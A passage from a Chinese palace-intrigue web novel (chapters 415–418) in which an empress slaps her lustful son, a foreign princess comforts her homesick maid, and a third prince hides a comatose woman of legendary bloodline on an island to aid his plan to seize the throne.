碍于轩辕玥的特殊身份,东宁继后虽然心不甘,情不愿,可想着自己的心头肉梅汐媛,目前尚还大志未成,且寄人篱下,也不得不做足了今夜这表面工作。 轩辕玥起身恭敬地道:“儿臣谢母后关怀。” 继后微笑着摆摆手,示意她坐下,遂轻抿了一口自己手里的茶汤。 顺势斜了坐在下面的轩辕玥一眼,却让人感觉到她的眼里那种似是从骨头缝里都散发出来的满满的恨意。 放下茶碗,继后又扬起笑意试探着问:“对了,三皇子最近都在忙些什么?本宫好像许久都未见到他了,就连今夜如此重要的宴席,他竟也未能参加?” 稍顿,轩辕玥微笑着道:“想来左不过平日里都是些父皇交代殿下办的琐事吧。殿下不曾提起,儿臣自是也不敢多问。还请母后见谅儿臣的不知之罪。” 继后听了心想:“这丫头心思果然缜密,口风极紧。” 遂笑了笑,道:“后宫不得干政,你做的对,母后又怎能责怪你。如此说来,倒是本宫失言了!” 轩辕玥灵光一闪,急道:“母后乃是关心殿下,儿臣替殿下谢过母后。” 见此,继后无奈,只得点头赞叹道:“好一个聪明伶俐的丫头,早闻西秦公主聪慧,识大体,果然名不虚传。” “儿臣惶恐,是母后谬赞了。”轩辕玥不紧不慢,沉稳地答道。 遂抬头看了看窗外的天色,再看看老嬷嬷怀里的幼子,轩辕玥缓缓起身来开口道:“儿臣多谢母后悉心操劳安排的一切,母后辛苦了,儿臣感激不尽。今夜夜已深,儿臣就先带小皇孙告退了。” 继后亦看看夜色,和气道:“既然夜已深了,你赶快带小皇孙回宫去吧,如有任何需要,只管派人来传话即可。” “是,儿臣记住了,多谢母后关怀。”轩辕玥起身告辞,带着众仆人离开。 继后瞪着轩辕玥渐渐消失离去的背影,心里恨得直牙痒痒。 第四百一十五章:一记耳光 “啧啧啧,本皇子真没想到,区区不过一个穷乡僻壤的偏远西北小国里,竟然也有如此姿色的美人儿!这美人儿…和世间其他所有的女子都不一样,本皇子甚是中意。” 恰时,从门外走廊里走来一位一袭月白锦袍,身材微胖,从头到脚甚至从其每一个毛孔里都让人感觉散发出满是一副痞子样的二十多岁男子,身后跟着一弯腰哈背的小厮。 那男子色眯眯地眯起眼睛来,眼巴巴地对着轩辕玥渐渐消失在夜色里离去的倩影,驻足于门口走廊上摸着下巴饶有兴致地自言自语道。 顿了顿,复又叹起气来,面色亦随着那声感叹转阴着道:“这可真是一朵鲜花插在了牛粪上,便宜了老三那个蠢货。可惜,真是可惜了!” 这时,身后一脸贼笑察言观色了许久的小厮凑到其耳畔奉承着道:“二皇子莫要叹息,依二皇子您的尊贵身份以及皇后娘娘的宠爱。总有一日,连这整个东宁国都是您的,莫说区区一个女子,二皇子想要什么样的美人儿没有呢?!” 男子听了稍微一想,似是有些得意,随即轻轻哼笑了一声。 可转念一想起这一年多以来,眼前日日看着却摸不到的美人儿整日里缱绻依偎在别人的怀抱里,忍不住顿转满脸厉色地对那小厮吼了起来。 “混账东西,你懂个屁!那你告诉本皇子,这东宁国什么时候才是本皇子说了算呢?你们每个人都让本皇子等,本皇子还要等到什么时候,等等等,就知道等,本皇子已经等的太久了,再也等不了了!” “二皇子息怒,二皇子息怒……”小厮自知失言,连忙跪地俯首声声苦道。 然男子似是根本就不得解气,当即抬起一条腿来便恨恨地踹在了那小厮的背上,小厮顿被踹趴在地上,不敢再起来。 “哼,废物,全都是一群废物。”男子顺势扫了眼周围的宫女太监们,朝众人冷哼了一声后,兀自拂袖扬长离去。 “皇后娘娘,二皇子殿下来了。方才他……” 就在继后对着轩辕玥早已消失在大殿中的背影,心里久久不能平衡,正在默默发狠,却又叹息眼下对诸事俱都无可奈何的时候,一名宫女近身过去将方才发生在门外走廊上的事情仔细通报了一番。 似是尚还等不及继后回过神来,忽然从门外传入耳畔一阵极响亮的嚣叫声。 “母后,你为何要帮那老三操办今夜如此风光的宴席,这回可算是让他在众大人面前出尽了风头,你叫儿臣我日后在众人面前如何自处?” 继后本应早已经习惯了来人平日里的种种鲁莽和沉不住气,咋咋呼呼。闻声,极无奈地闭了闭眼眸,像是想要如平日一般将其隐忍下去。 然许是自己的心里近来本就有太多的难平事,本就实觉太窝囊,极难平衡。加之宫女刚刚进来禀报的事情,这一刻,她确实需要一个泄愤的对象,终于没能忍住。 偌大寂静的宫殿里,只闻突然响起了如雷般极其响亮的一声:“啪”。 顿时间,殿内外的奴才们闻声纷纷跪倒地上一大片。 原是重重的一记耳光,恨恨地落在那刚刚进门来的咋咋呼呼男子,继后这个从小到大不争气的唯一的儿子的脸庞上。 未及男子反应过来,继后紧接着朝其怒斥道:“混账东西,你这是在和谁说话?这是你对母后应该有的态度吗?!” 逆子措不及防,他自是不明白为何从小到大都可以在母后面前肆意妄为的自己,此刻怎会得到一记从未有过的巴掌? 这可是他平生第一次所得,来不及思量便紧忙捂起了吃痛的半张脸惊恐万分地望着继后道:“母后,你……” 继后咬牙切齿地将其声音打断道:“不争气的东西,平日里尽由着你任性妄为也就算了,本宫实在没想到,你就连……” 似是说话的人自己都觉得极难以启齿。 此刻立在自己面前的人,那可是从她辛辛苦苦怀胎十月,到呱呱坠地的那一刻起,捧在手里怕摔了,含在嘴里怕化了的心头肉啊! 可如今在他的身体里,却有了这等龌龊的想法,让她顿觉毫无一丝颜面可言。 稍顿后,吸了口气道:“本宫实在想不到,你连那种已为人妻的女人也不放过。本宫竟不知,你如今竟然已经胡作非为到了这种地步。你是何身份?想要天下怎样的女人没有,竟然打起了她的主意来?” 那自从进门后至今尚还糊里糊涂着的二皇子梅志豪这一刻瞬间清醒明白了过来,即刻将目光狠狠地扫向了殿内奴才们的脸上,奴才们一个个吓得纷纷垂首不语。 然不知他哪里来的勇气,非但一点儿也不知道悔改认错,竟鼓起勇气来不甘示弱地当着众人的面开口顶撞起继后。 “哗”的一下,只见梅志豪放下捂脸的手来,整了整衣冠,上前两步到继后的身旁,信誓旦旦地扬言道:“儿臣就打那西秦公主的主意怎么了?儿臣就是喜欢她,不但如此,儿臣发誓,总有一日,儿臣一定要得到她。” “你……”闻此,继后猛的回过头去,直瞪着梅志豪的眼睛。187 看着他从未有过如此坚定的目光,似是从来都不曾认识过这个从自己身上掉下来的一块肉所长成的七尺之躯。 霎时间,一室寂静,一对生生母子,就这样久久看着彼此的眼睛,陷入了看似毫无一丝回旋余地的僵持之中…… 月光西斜,夜空中繁星点点。 冰凉的秋夜,没有春天的悸动,也没有夏日的激情,虽也不似寒冬腊月的酷冷,但仅有的缤纷的落叶静悄悄地凋零,虽只如此,却也足以让有心看见它的人顿觉得心生畏惧,因为它预示着寒冷的冬季马上便要来临了。 离开了继后的宫殿,轩辕玥回到了唯一属于自己的一隅之地。在这灵空大陆上富甲一方的东宁国偌大富丽堂皇的皇宫大院里,一个并不怎么起眼的角落。 和她在西秦皇宫里的风华宫相比,她如今的寝宫显得甚是拥挤,因为梅志煊打小本就不受继后待见,自是不会给他安排多好的住处。 但能和自己相爱的人在一起,哪怕再小再拥挤,她的心里都觉得是无比幸福的。 有爱的地方,便是家。 索性其母后安排陪嫁带来的婢女都是从小在她身边伺候惯了的,所以把这小小的宫殿里里外外布置地倒是和风华宫有几分相似。 以至于她时常会傻傻分不清,以为自己还是在西秦国自己的宫殿里。 然而梦一醒,其实反倒是常常增添了她许多乡愁。 殿内,到处弥漫着丝丝缕缕的香烟袅袅。 她静静地坐在榻边,手里轻摇着一面梅花月夜图案的团扇,目不转睛,温柔地看着幼子熟睡的脸庞,满腹感慨。 如今的她,早已不再是从前那张稚嫩无邪的面孔,亦已经褪去了在西秦皇宫的时候,那个天不怕地不怕,年少轻狂的公主脾性。 如今的她,为了自己当初一心一意,奋不顾身的爱情,最开始的选择,在这后宫里,早已学会了各种世故圆滑,学会了应对各种形形色色的人际,而那所谓的爱情,良人,他…… 恍然间,她这才明白,原来在未来的一个不经意的日子里,每个人都会变成自己从前最讨厌的模样。 时间真是一个不可思议的东西,它不用费吹灰之力,便可将世间所有人的棱角磨掉。只有它,才是最终的赢家,所有一切的掌控者。 想想这一年多时间里所发生的一切,痛苦的,甜蜜的…… 她默默地看着那张可爱的小脸庞,心里想着,当自己如幼子这般新生的时候,她的父皇或者母后,也一定如她现在这般慈爱地守着她吧。 思绪万千,可最后一想到父皇与母后,她的心头忍不住一酸,眼泪瞬间浸湿了眼眶。 就在这时,她的陪嫁婢女锦兰手里捧着一件披风进门来,撅着小嘴,一脸怨气地替轩辕玥一边披上一边抱怨着。 “公主,咱们这三皇子殿下也真是的,平日里没时间陪小殿下和您也就算了,今日如此重要的宴会,就算他再忙,也应该回来陪你们一起过啊!” 明明话已说出许久,却见轩辕玥始终都毫不动声色。 锦兰又想起自己近日里在各宫听来的许多闲言碎语,一脸凝重地复又开口:“公主,自从西北大战,北烈亡国以后,如今在灵空大陆早已是议论纷纷,说……” 听完锦兰这席话,轩辕玥目光变得凝重起来,遂舒了口气,终于开了口。 “正所谓‘树大招风’,秦皇叔大败北烈一事,表面上看着是我西秦胜了,疆土得到了扩充。但秦皇叔为了寻回云儿,这次如此冒险之举太过欠妥,以至于使我西秦成了众矢之的。如今灵空三国,对我西秦定是早已都有了各自的盘算。” 顿了顿,缓缓起身来坐在案几边更加忧心地道:“我最担心的事,怕是就要发生了……” 锦兰一听似是明白了,竟悄悄抹起泪来,上前一边帮轩辕玥捶背一边道:“公主,锦兰想家了,锦兰好想家。如果有一天,要是东宁与西秦之间…,那该怎么办?” 轩辕玥将目光抬起望着榻上熟睡的爱子,不再说话…… “扑通”一声。 岂料锦兰忽然跪倒在轩辕玥的面前,紧紧抱着她的膝盖,哽咽着道:“公主,事情怎么会变成这样……” 第四百一十六章:她,真的幸福吗? 锦兰忽然跪倒在轩辕玥的面前,紧紧抱着她的膝盖,哽咽着道:“公主,事情怎么会变成这样。锦兰只要一想到未来时光漫漫,咱们在东宁这种寄人篱下,被人歧视的日子遥遥无期,锦兰…锦兰实在是有些支撑不下去了……” 在这远远比来时所预料的艰难地多的多的他国异乡,每个奴才在这表面上看似富丽堂皇偌大的东宁皇宫里,整日处处谨小慎微,如履薄冰,战战兢兢。 这些已经憋在小宫女心里太久太久的话,在这一年多的时间里反复不停地在她脑海里徘徊过不知多少次。 然她思之又思,知道这些话说出来后这个主子定会比自己更加伤心难过。可若不说,此刻自己心里又实在憋得像是快要窒息。 一年多来,这种思乡情切之苦就像一颗巨大无比且至今都依旧未曾停止疯长着的毒瘤,日日夜夜,分分秒秒都在一寸寸吞噬着她的内心,她觉得自己随时随地都有可能会站在奔溃的边缘上。 是不是她心一横,咬着牙闭起眼睛来纵身一跃,自己卑微的灵魂便会化为一缕彻底得到自由的青烟飘回故乡,回到熟悉的故土里亲人们的身边,与他们相依相伴,余生再也不分开。 可她又如何舍得她的主子,更何况如今还多了一个小主人,她如何舍得丢下让她们孤儿寡母俩去面对这里的所有一切明枪暗箭,冷嘲热讽。 锦兰此刻的这番话,又何尝不是轩辕玥长久以来的心头伤呢! 当初她心心念念的爱情,良人,她真的得偿所愿通通都得到了吗? 那个人,对他忽冷忽热,若即若离,让她一点儿也捉摸不透。 她懊恼极了,恨自己无能,无论她如何努力都不能真正走进那个人的心里。 她忽然想起昔日,在她最尊敬的秦皇叔面前,她曾是那样的信誓旦旦,义无反顾。 还有那个傻丫头,为了帮她成全她的爱情,被父皇责罚,险些为自己丢了性命。 可到如今,她对自己当初的执念,真的没有过一丝一毫的迟疑和后悔吗? 她,真的幸福吗? 轩辕玥一边回忆着这些过往,默默地在心里声声自问,一边垂下首去心疼地看着此刻埋头伏在自己膝前正伤心难过抽泣着的小宫女。 她皱起眉来,抬起一只手温柔的一遍又一遍轻抚着锦兰的脑袋,然千言万语似乎只能化为一句意味深长的呼唤与歉意:“锦兰,对不起……” 闻此,锦兰忽地抬起头来反握住轩辕玥的手,激动地道:“不,公主,对不起,是锦兰对不起公主,是锦兰没用,锦兰就知道不该说这些话来惹公主伤心。如今公主又刚诞下了小皇子,正值体虚之际,锦兰真是糊涂啊……” 一时间,锦兰的心里慌乱极了。 俩人深情对视了许久,轩辕玥一边帮锦兰擦拭泪水,一边道:“好锦兰,你放心,终有一日,本公主一定会让你再回到西秦国的……” 启料一听这话,锦兰立马用手背胡乱抹了把脸庞的泪痕,急道:“不,公主,公主不要赶锦兰走,锦兰打小深受公主大恩,若不是公主给锦兰做主,替锦兰兄长查明真相,还兄长清白。锦兰唯一的兄长八年前怕是便因为那个贪官而被冤枉当做杀人凶手给斩首了。锦兰这辈子都愿在公主身旁当牛做马,对公主感恩戴德,没齿不忘。” 心里一着急,锦兰竟撒开手忙伏身下去一个接一个不断地给轩辕玥重重地叩起首来。 “砰,砰,砰……” 见状,轩辕玥忙起身试着一边将她扶起,一边劝道:“锦兰你这是做什么?你快起来,快点给本公主起来。” 锦兰依旧边叩首,边坚持着道:“锦兰不起,除非公主答应锦兰,决不赶锦兰走。就是死,锦兰也要陪着公主。公主,锦兰错了,锦兰真的错了。” 轩辕玥心急如焚,脱口道:“锦兰你起来,你先起来听本公主说,好吗?本公主不止要你一个人回到西秦,还要所有人都回去。” 闻此,锦兰终于安静了下来,看着她的眼睛惊讶又不解地问:“公主说什么?所有人?” 轩辕玥朝其认真地点了点头,终于将锦兰扶起,接着环视了这对自己来说,迄今为止都似熟悉却又陌生的周围一圈,道:“这里的每一个人,都会回到西秦国的。” 锦兰闻声顿时破涕而笑,可稍一思索转而又一脸懵问:“公主,锦兰不明白公主此话究竟为何意?” 轩辕玥将其稳稳地按坐在了案几旁,继而回头看了眼榻上的幼子,见幸好没有将其吵醒。 锦兰亦跟随其目光望向了榻上的婴儿,不解地问:“那公主你呢?公主和小皇子也会再回到西秦国吗?” 轩辕玥回看向锦兰的眼睛,从未有过如此认真地信誓旦旦道:“锦兰,本公主向你保证,这里每一个跟随本公主前来的西秦国子民,本公主都不会让你们有事。总有一日,本公主都会让你们平平安安地回到西秦国的。” 锦兰看着从未有过如此一脸严肃的轩辕玥,忽然间像是猜到了什么,道:“公主,你难道是想……” 轩辕玥忙伸手将其剩余的话挡了回去,转身只道:“锦兰不必再多问,本公主今夜答应你的,绝对不会失言。可眼下小皇子刚刚满月,你们所有人都要打起十二分的精神来,一定要护好小皇子。” 轩辕玥一边说,一边缓缓走回榻边坐下,凝视了幼子半晌,最后将自己极其温柔的一吻柔柔地落在了其熟睡的额头,轻声细语道:“他是本公主这一生唯一最放不下的牵挂了,他一定要好好的,必须得好好的。”狗狗 话音刚落,几滴晶莹的泪珠悄悄地从她的脸颊滑落,正在出神思量其话语的锦兰并没有察觉,轩辕玥忙扭头过去背着她偷偷将其拭去。 是夜。 在位于东宁国以东,一座极为偏僻的小岛上所搭建的一座精致的两层木屋里。 海风从屋外吹进,将一盏孤灯吹的忽明忽暗,屋内倒不觉得昏暗。 秋夜里皎洁的月色倾泻而入,恰恰映照在床榻上一女子安静的脸上,便越发显得女子的肤色如玉。 而此时,梅志煊正默默地凝视着昏迷在榻上的人儿。 俩人此时的距离是如此之近,近得只要一伸手就可以触到她。 可距离又是那么地远,远得她永远都不知道他和她曾经有过这么近,远得今生永无可能。 初次相识时,那个面遮轻纱沉默不语的少女。 再次相逢时,那个心思细腻、善良温柔又勇敢坚强的女子。 …… 这一生,他寻她,从未放弃。 只有他坚信,她一定还活在这个世上。 于是,过去的无数个从秋到春,从春到秋。 从东宁到西秦,从西秦到北烈,从北烈再到东宁,他终于将她带了回来。 兜兜转转,总算是皇天不负有心人。这一切,都是多么地不易啊! 就这样看着看着,想着想着,伴随着发出一声尤为难得的柔柔的:“我终于找到你了!” 说完,似是极为安心地渐渐阖上了双眼进入了许久未曾有过的甜美梦乡。 那是在一个风景如画的山间小木屋前,像是存在于童话故事中的美丽小屋。 他迷失了方向,在森林里被困了一夜,又冷又饿又害怕。 清晨醒来,他伸手推开了小木屋的门,看到了屋内院子里遍地的药草和鲜花,在晨风里轻柔地跳舞,空气中尽是和煦的风在阳光的照射下夹杂着弥漫在空气里淡淡的药草花香,朝阳的霞光慈爱着朝他迎面照射了过来。 “过来,快过来!” 这时,从屋内走出来一位二十来岁的一袭紫衣,大腹翩翩,满身都被霞光万道包围起来的妇人,她是那般的慈祥,温柔,美丽又大方地呼唤着他。 而就在他满脸欣喜,正准备迈步跨过脚下的那道门槛时,身后忽然出现了一双强而有力的手将他死死拽住,并厉声呵斥:“还不快滚,你这个贱婢所生的贱奴才,这里也是你配来的地方嘛!哼……” 还未待他回头看清楚拽住自己的那人的面孔,他便早已经被两名侍卫壮汉架着胳膊扔出了好远好远。 这时,有个比他小一些的小女孩从他身旁路过,将他仔细打量了一会儿,遂将握在小手心里的一个小瓷瓶递给了他。 “小哥哥,无论你遇到了多么不开心的事,只要吃了我这个药,保你再无忧愁烦恼。” 他瞪大了眼睛将信将疑地接过了小女孩手里的小瓷瓶,将其一饮而尽。 果然,他的心里忽然真的变得不再那么悲伤了。与此同时,一缕紫色光芒照向了他,他的身体慢慢变得越来越轻,他似乎觉得自己的身体已经离开了地面,并在慢慢上升。 没错,他,竟然飞起来了。 他高兴极了,他越飞越高,渐渐地,渐渐地,飞的比小女孩高,比动物高,比整个森林高,比飞鸟还要高,甚至比云彩还要高…… “我要下来,快放我下来……”不知过了多久,他忽的往下一看,这才手忙脚乱地朝地面上此时已经小的连个点都看不到的小女孩惊呼起来。 “小哥哥,这种高高在上,天地之间惟我独尊的感觉难道不好吗?”启料小女孩忽然出现在了空中他的身旁歪着脑袋问。 “咚咚咚……” 就在这时,一阵叩门声响起,将他从梦中惊醒。 第四百一十七章:藏身幽蓝岛的真正目的 “咚咚咚” 就在这时,一阵叩门声响起,将他从梦中惊醒。 霎时从门外传来一老翁苍老的声音:“三皇子殿下,公主服药的时辰到了。” 闻声,梅志煊猛的睁开双眼来,看了眼榻上躺着的看似依旧毫无一点儿起色的沉睡着的女子安静的脸,心里虽然焦急却也亦是只能无奈地皱起眉来轻吐了口浊气。 稍顿,伸出一双修长的手来,细心地替其将被角拈好,方才起身来应声道:“进来吧。” 随即只见一位一袭白袍,手里拄着一木雕拐杖,头发胡子俱都已经雪白了的面相极为和善的七旬老翁,带着一个大眼睛,长相看起来很是机灵,年龄左不过十二三岁的绿衣少女推门踱步了进来。 “三皇子殿下。” 绿衣少女双手捧着一药盘,进门一近身到梅志煊的身旁便先朝其恭敬地躬身行礼。 “嗯。”梅志煊不经意地微微颔首,轻哼了一声。 绿衣少女这才转向榻上女子的身旁而去,在其边上坐了下来将其头部垫高,接着又盛满一匙药汤,放到自己的嘴边细心地吹了吹,方才缓缓将其送入到榻上女子的口中。 幸好女子还能吞咽得下这药汤。于是,少女面带微笑着开始继续一汤匙一汤匙,看似动作已经极为娴熟,小心翼翼地替其喂食了起来。 “公主如今的病情究竟如何了?” 梅志煊直到亲眼看着药汤顺利地开始徐徐进入女子的体内,这才单手负后着缓缓转身向着屋内的案几边上踱步过去落座下来。 白胡子老翁跟随其脚步过去,将方才刚刚悉心煮好端进来的一壶热茶倒了一杯递到梅志煊的面前:“三皇子请用茶。” 梅志煊一手接过,轻抿了一口茶汤。 白胡子老翁亦在其身旁落座了下来,稍一思量摇摇头,无奈地自责道:“老奴无能,请殿下责罚。眼看着这都已经数月过去了,可公主至今始终都这般一动不动地昏迷不醒着。除了每日里设法为她补充喂食一些能够补充体力的药汤外。其他的,老奴,似乎什么都做不了。” 梅志煊一边听着,眉头随之愈皱愈近。 思之又思,自打回到东宁以后终百思不得其解,于是纳闷地问老翁:“公主如此这般,究竟是怎么回事?” 老翁伸出一手来捋了捋胡须,望着榻上女子清瘦的脸庞,亦是甚觉惊奇地道:“对于公主所得的这种世间极为奇特罕见之症,数月以来,老奴翻遍了各种药集典故,启料皆都是寻不到任何蛛丝马迹,始终是一无所获!” 顿了顿,又道:“老奴已命绿儿仔细查看过公主的身体,并无任何伤痕。而且一直以来,公主的每日脉象也颇为平稳缓和,与常人相比,并无异常之处。但却不知为何,就是不得苏醒过来。” 话一说完,老翁遂兀自发出一声长叹道:“怪哉,真是怪哉啊!” 就在这时,绿衣少女已经将整碗药汤喂食完毕,起身来替女子盖好锦被,便端着药盘悄悄退了出来。 白胡子老翁朝其微微点了点头,绿衣少女便躬身行礼后踱步出了门去,将门轻轻掩上。 一室寂静。 木屋外,夜幕下只剩轻柔的海风低声的呢喃。 小岛名曰“幽蓝岛”。 东临大海,四周群山环绕,山岗秀丽挺拔,岗岭绵延叠翠,满山苍松翠柏,四季林木葱茏,绿茶郁郁葱葱,环境幽雅宁静。 璀璨星河下的蓝色海面上泛着层层波光粼粼,梦幻得让人如痴如醉。 海风阵阵,小岛上的浪漫花海,一直蔓延至崖边,让吹过崖壁的咸咸的海风也带上了花的清香,诗意过任何童话。 远离了喧嚣的人声鼎沸,置身于这碧海蓝天,白帆沙滩之中,本应是洗净铅华,远离滚滚红尘,忘却一切俗世的烦恼与名利之争。 可偏偏身处于这般的人间仙境里的人儿,却是心中深藏着与其温润如玉的外表尤为不衬的野心。 就在俩人为此都各自绞尽脑汁费解之际,白胡子老翁似是忽然又想到了什么,开口问:“三皇子殿下,老奴斗胆问一句,公主在昏迷之前是否发生过什么不同寻常的事?” “昏迷前,不同寻常的事……”梅志煊闻之,默默地重复着陷入了回忆中。缘分 忽然,他拍了一把面前的案几,惊声说道:“对了,本皇子怎么把如此重要的信息给落下了。” “重要的信息?那是什么?殿下可是想起了些什么?”白胡子老翁紧忙追问。 梅志煊缓缓起身上前两步,朝着榻上的女子,回忆着道:“本皇子在西秦国刚找到公主时候,听闻她之前也曾这样长时间昏迷过,那时听说有一年之久……” “昏迷了一年的时间?”白胡子老翁惊呆了。 梅志煊背对着他默默地点了点头,白胡子老翁亦目光看向了榻上的女子。 遂惊诧不已:“老奴这还从未听说过有人能昏迷如此之久,竟然还能醒过来的。看来,这姑娘,绝非凡人啊!” 俩人一起沉默了会儿,梅志煊有些意味深长地道:“你说的没错,她,的确不是一名普通的女子。” “是啊!老奴这些日子一看到她,就会忍不住想起想当年,那场袭遍全国的几乎要亡我东宁的瘟疫,大街小巷,处处横尸遍野,嫡皇后她一个小小的女流之辈,力量却胜过太医们无数啊。她跋山涉水到处采集良药,废寝忘食地研究药方,方才解救了我全国的子民。上天庇佑,我东宁嫡皇后之后人,自然天命不凡!” 白胡子老翁语气显得颇为敬畏地激动道。 “或许……还远远不仅如此。”梅志煊却神秘地道。 “不仅如此,三皇子此言何意?”白胡子老翁不解地问。 “你可曾听说过…西秦守护者?”梅志煊忽然转身看着老翁的眼睛认真地问。 老翁听闻怔了一下,道:“西秦守护者……” 梅志煊微微点了点头,老翁捋了捋胡须,回忆了片刻,俩人再次缓步落座了下去。 老翁幽幽道:“老奴年轻时在南安国游历,曾在一本秘籍上看到过。传说是因为其开创先祖在日积月累的研究医药之术时,尝尽了世间的奇毒异草,终使得其精血发生了变化。尔后在繁衍后代的时候,便亦都传承了其先祖的这种奇特的血脉。” 梅志煊似是尚还未知这些奇特说辞,显得尤为认真和颇有兴趣地认真听着:“传说以这种血为引,可制得天下最强的毒,亦可解天下最强的毒,更能医治百病,甚至有传言说‘得此血者得天下’。” “得此血者得天下?”梅志煊默默地重复了一遍。 白胡子老翁点了点头,继续道:“后来听说这族人部落里发生了倒戈,最后仅存的一位直系后人便流落到了灵空大陆的西秦国,得以繁衍生息,成为西秦皇室的开国功臣以及最忠实的守护者。” “原来,西秦守护者竟是这样的?!”梅志煊终于明白到。 白胡子老翁点点头,有点遗憾地道:“可世人皆知,西秦守护者忠诚无比,她们生来只为守护西秦天子。所以,我东宁国这些年即使兵强马壮,国富民强,风调雨顺,但因为忌惮这股神秘力量的存在,也未敢曾向西秦有所行动啊!” “是吗?可依本皇子看来,这倒未必。”启料梅志煊竟忽然发出来一阵冷冷的哼笑声。 “老奴至今尚不明白三皇子此番话语究竟用意何在?”白胡子老翁越听似是越不明白,问道。 晴天霹雳,梅志煊忽然炸出一句:“本皇子怀疑,公主,她极有可能便是传说中失踪了多年的西秦守护者后人。” “什么?公主,她…她是…公主是西秦守护者后人?”白胡子老翁顿时立起身来看着梅志煊冷冷的侧脸惊呆了。 可瞬间又恍然大悟了过来:“原来,这才是三皇子为何不将公主带回皇宫好好医治,而要将她藏在这个幽蓝岛的目的!” 忍不住继续往下思索了去,老翁心中忽然像是被什么震了一下:“三皇子,您是想借西秦守护者的神秘力量来谋权篡位!” 然梅志煊任由他自言自语一般,只自顾自倒了一杯热茶,缓缓将其饮下,不再说话。 尽管梅志煊看起来似是心中对此已经很有信心和把握,然白胡子老翁还是试想着能劝解其一二:“三皇子,正所谓人各有命,高处不胜寒。对于那个高高在上惟我独尊的位置,殿下又何必太过于执着呢?” 闻此,梅志煊顿立起身来,凑到老翁的鼻尖对他忿忿地道:“什么是命?没有人会愿意被人永远踩在脚底下。从小到大,无论本皇子多么优秀,父皇都不曾放在眼里半分,只因为本皇子的生母是一名卑微的婢女。本皇子一定要凭借自己的本事来向父皇证明,没有他的支持,本皇子依然可以成为这片灵空大陆上唯一的霸者。谁都阻拦不了本皇子的选择,谁都不能!” 白胡子老翁摇摇头,道:“三皇子,执念太深,必遭其害。” 梅志煊似乎已失去了理智,朝其冷哼了一声,坚决地道:“我意已决,不必再多说。你尽快将她给我治愈,其他都不劳你费心。” 说完,便转身朝着门外踱步离去。就在他正要迈出门槛时,忽然顿足停了下来…… 第四百一十八章:以身试祸 “我意已决,不必再多说。你尽快将她给本皇子治愈,其他的,都不劳你费心。” 说完,便转身朝着门外踱步离去。 就在他正要迈出门槛时,忽然顿足停了下来。 沉声道:“本皇子要回宫一段时日,公主倘若是醒来,问起有关于西北大战的事情,你就告诉她……” 咬了咬牙,心里似是有些隐隐的不忍,却终究还是狠心地道:“就说那秦王轩辕翰,已经战死沙场,无力回天了。” 白胡子老翁听了,心里一惊,顿回头瞥了一眼榻上的女子,似是明白了些什么,转念又忧心地道:“此等大事,三皇子瞒得了一时,瞒不过一世。那西秦秦王名震天下又天命不凡,总有一天,公主她定会知晓事实真相,到时候三皇子又该如何自圆其说?三皇子此举太过冒险,不如早些回头。” 白胡子老翁自是永远都无法切身体会梅志煊从小到大一路走来,在过去的日复一日,年复一年的岁月里所遭受的太多冷眼相待和不公平,竟还妄想再试着劝他一次。 “依老奴所见,在陛下的心里,也绝非三皇子所想的那般没有机会。三皇子又何必急于求成,多此一举呢!世人皆知,那二皇子梅志豪整日里贪恋美色,无德无能,仅凭借皇后一人的势力,还不至于会左右陛下对皇储的……” 他自是不知,梅志煊怎会舍得放弃如此得来不易的大好机会? 他怎么都没有想到,自己苦苦寻觅了那么多年的嫡母后唯一的血脉,竟然会是拥有传说中的那股神秘力量的西秦守护者后人。 起初,他对于灵空大陆所盛传的这股神秘力量还半信半疑。 然就在他与易三少再次在北列国相聚,一道寻找衣上云下落的途中,先是亲眼目睹了极为震撼和奇幻的凤凰虚影的现世。 出于好奇,他便悄悄命人顺藤摸瓜前去侦查。 最后竟意外地从一名北列国少年夜里好奇地朝外张望时,刚好看到了那凤凰虚影所出现的地方正在衣上云从昏迷中醒来的当天夜里所住的帐篷上空。 如此熟悉的场景,他很快便想起了初次在西秦衣府门前街口的那个茶馆老板,他将发生在衣府的怪事几乎传遍了整个西秦国,又对自己一番那般栩栩如生的叙述。 天下,怎会有如此如出一辙的异象出现? 衣上云,他绝不是一般普通的女子。 于是,他悄悄跟在易三少的后面,乘着易三少没有发现,一掌将其劈晕了过去,从其手里将刚刚找到的衣上云抢走。马不停蹄地日夜赶路带到了位于东宁国的最东边沿海边境上。 果然,衣上云身上的凤凰印记在幽蓝岛上也被绿衣少女终于验明了正身。 这所有一切,可真谓是“踏破铁鞋无觅处,得来全不费工夫!” 那一刻,他甚至觉得自己是全天下最幸运的人儿,所以才会那般幸运地拥有如此强大的一股力量的支持。 如今,他明明手里有张必胜无疑的王牌,既然已经有了完全的把握,谁又会甘愿去冒险等待和命运赌一把呢? 若是输了,有朝一日,真的让宫里的那对母子得了那个位置,那他,不,如今他还有个刚出生的儿子,还有个她…… 到时候,他们定是连让他们一家三口活着的一丝机会都不会给予。 一念至此,他紧紧地握住双拳,咬紧牙关,更加坚定自己接下来的计划和行动。 白胡子老翁的声音依旧在耳边响起,然他却早已经极不耐烦其此时苦口婆心的劝解,忽然扬起无比一厉声来将他打断。 对其吼道:“不要再说了,即便那西秦秦王再厉害,本皇子也一定会有办法对付他。西北大战的战场上他竟然侥幸没有死,还赢了北烈拓拔那对没用的兄弟。不过,索性本皇子就多留他几日,到时候与他一起算账。” 只见他一边说,目光变得越来越冷厉:“本皇子决定要做的事,任何人都拦不住。本皇子相信,很快,灵空战神,西秦秦王的死讯便会传遍整个灵空大陆。这个天下,最终只能是本皇子的,谁也别想夺走!” 说完,他竟忽然变得面目似是都有些狰狞起来,仰天大笑:“哈哈哈,哈哈哈哈哈……” 与此同时,他默默地在心底发狠:“秦王轩辕翰,你给本皇子等着。” 说完,便一把撩起袍角来提一大步,头再也不回地踏出了门,兀自扬长离去。 白胡子老翁对着其离去的背影惊呆了,对于眼前忽然已经变得如此陌生的人怔了半晌,之后连连摇头又叹息地道:“执迷不悟,以身试祸,注定结局定是…苦海无涯……” 从临海的幽蓝岛回到皇宫的路途并不算很远,然梅志煊和其侍卫俩人驾着马从半夜开始,却走了很久很久。 眼看着第二日晌午饭的时辰也已经过了,终于,俩人距离宫门口愈来愈近。 直到听见周围传来四起的车水马龙,人来人往的喧嚣声音,满腹心事重重的梅志煊终于从自己沉沉的思索之中渐渐醒了过来。起点中文 “吁……“ 只见梅志煊忽然勒马缓缓驻足停了下来,抬头似是从未像今天这般认真地望着眼前自己从小到大熟悉得不能再熟悉的那扇雄伟而又亲切,此刻似是又更多添了些许威严的城门,一动也不动。 身后的侍卫见了,忙上前问:“殿下,可是有什么吩咐?” 